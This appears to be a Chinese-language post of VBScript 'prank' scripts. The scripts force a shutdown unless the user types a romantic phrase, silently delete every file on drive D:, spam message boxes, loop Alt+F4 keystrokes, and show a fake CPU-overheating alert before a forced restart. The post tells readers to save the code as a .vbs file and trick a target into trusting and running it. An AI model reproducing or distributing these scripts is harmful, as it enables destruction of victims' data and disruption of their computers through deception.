do
a=InputBox("快說“老公我愛妳”，壹個停頓都不能有，不然我就關機！","老公我愛妳")
If a="老公我愛妳" Then
Msgbox"這就對了嘛！",0,"老公我愛妳"
Exit Do
Elseif a="老公，我愛妳" Then
Msgbox"壹個停頓也不許有，沒看見呀？",16,"老公我愛妳"
Else
Msgbox"還不說？妳再不說我就關機了！",16,"老公我愛妳"
End If
loop
1.直接關機行麽？
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
2.刪除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
3.不斷彈出窗口
while(1)
msgbox "哈哈 妳被耍了！"
loop
4.不斷按下alt+f4 （開什麽都關閉……）
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop '壹分鐘彈出壹次
do until i=10
i=i+1
msgbox "CPU溫度過高，系統出現嚴重誤！",16+4096,"系統提示"
wscript.sleep 1000*60 '時間可以自己改
loop set a = wscript.createobject("wscript.shell")
a.run "cmd.exe /c shutdown -r -t 3600 -c ""求我，我就告訴妳怎麽辦...嘿嘿..."" ",0 ,true
復制代碼保存位**.vbs 發給妳要整的人就可以了
3600是時間 想讓它多久關機就讓它多久關機~！
想要讓對方運行妳的程序就要看妳自己的本事了
讓他相信妳..